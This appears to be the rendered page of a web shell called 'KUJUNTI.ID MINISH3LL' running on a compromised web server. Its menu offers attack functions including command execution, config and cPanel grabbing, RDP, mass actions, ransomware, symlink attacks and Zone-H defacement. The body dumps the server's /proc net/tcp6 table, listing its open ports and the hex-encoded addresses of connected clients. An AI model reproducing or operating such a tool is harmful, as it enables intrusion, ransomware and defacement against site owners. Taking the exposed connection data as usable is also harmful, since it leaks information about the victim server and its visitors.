KUJUNTI.ID MINISH3LL
Path : /proc/414/task/414/net/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //proc/414/task/414/net/tcp6


  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 67275268 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 6433 1 0000000000000000 100 0 0 10 0
   2: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF0000236B9EA2:362B 06 00000000:00000000 03:00000A03 00000000     0        0 0 3 0000000000000000
   3: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF000050D046AC:269B 06 00000000:00000000 03:000015B5 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF0000C38F46AC:3564 06 00000000:00000000 03:000015BD 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:CF24 06 00000000:00000000 03:00000502 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF000074AF1768:2F96 06 00000000:00000000 03:00000A02 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:C777 06 00000000:00000000 03:0000063B 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:1D2C 01 00000634:00000000 01:00000023 00000000    33        0 68156603 3 0000000000000000 44 4 1 10 -1
   9: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:4DA3 06 00000000:00000000 03:00000000 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:E958 06 00000000:00000000 03:000006BA 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:BFBB 01 00000000:00000000 02:000AF7CF 00000000    33        0 68156801 4 0000000000000000 44 4 1 10 -1
  12: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF0000C28F46AC:3280 06 00000000:00000000 03:00000A02 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:1946 06 00000000:00000000 03:0000005B 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:8F01 06 00000000:00000000 03:00000F9B 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:5A69 06 00000000:00000000 03:00000FDD 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF000075AF1768:29C2 06 00000000:00000000 03:000015BD 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:70E6 06 00000000:00000000 03:00000A6D 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:42F0 01 00000000:00000000 02:000AF623 00000000    33        0 68156800 2 0000000000000000 43 4 31 21 -1
  19: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00004AB045AC:2EC5 06 00000000:00000000 03:00000A02 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:D80E 06 00000000:00000000 03:00000BE2 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF000051D046AC:3745 06 00000000:00000000 03:000015B5 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:BFED 06 00000000:00000000 03:00001490 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:D6E9 06 00000000:00000000 03:000004F9 00000000     0        0 0 3 0000000000000000
  24: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:AFC6 06 00000000:00000000 03:0000090A 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF000082ACE8A5:0016 0000000000000000FFFF00003CC2B693:B8F4 01 00000000:00000000 02:000AFBFB 00000000     0        0 68159263 3 0000000000000000 63 5 27 10 -1
  26: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF0000CA9346AC:2933 06 00000000:00000000 03:00000A02 00000000     0        0 0 3 0000000000000000
  27: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:EC6E 06 00000000:00000000 03:00000E20 00000000     0        0 0 3 0000000000000000
  28: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:0651 06 00000000:00000000 03:00001178 00000000     0        0 0 3 0000000000000000
  29: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:C322 06 00000000:00000000 03:00000F95 00000000     0        0 0 3 0000000000000000
  30: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:05C5 01 00000C8F:00000000 01:00000019 00000000    33        0 68156798 3 0000000000000000 43 4 17 21 -1
  31: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF0000C38F46AC:356B 06 00000000:00000000 03:000015BD 00000000     0        0 0 3 0000000000000000

© KUJUNTI.ID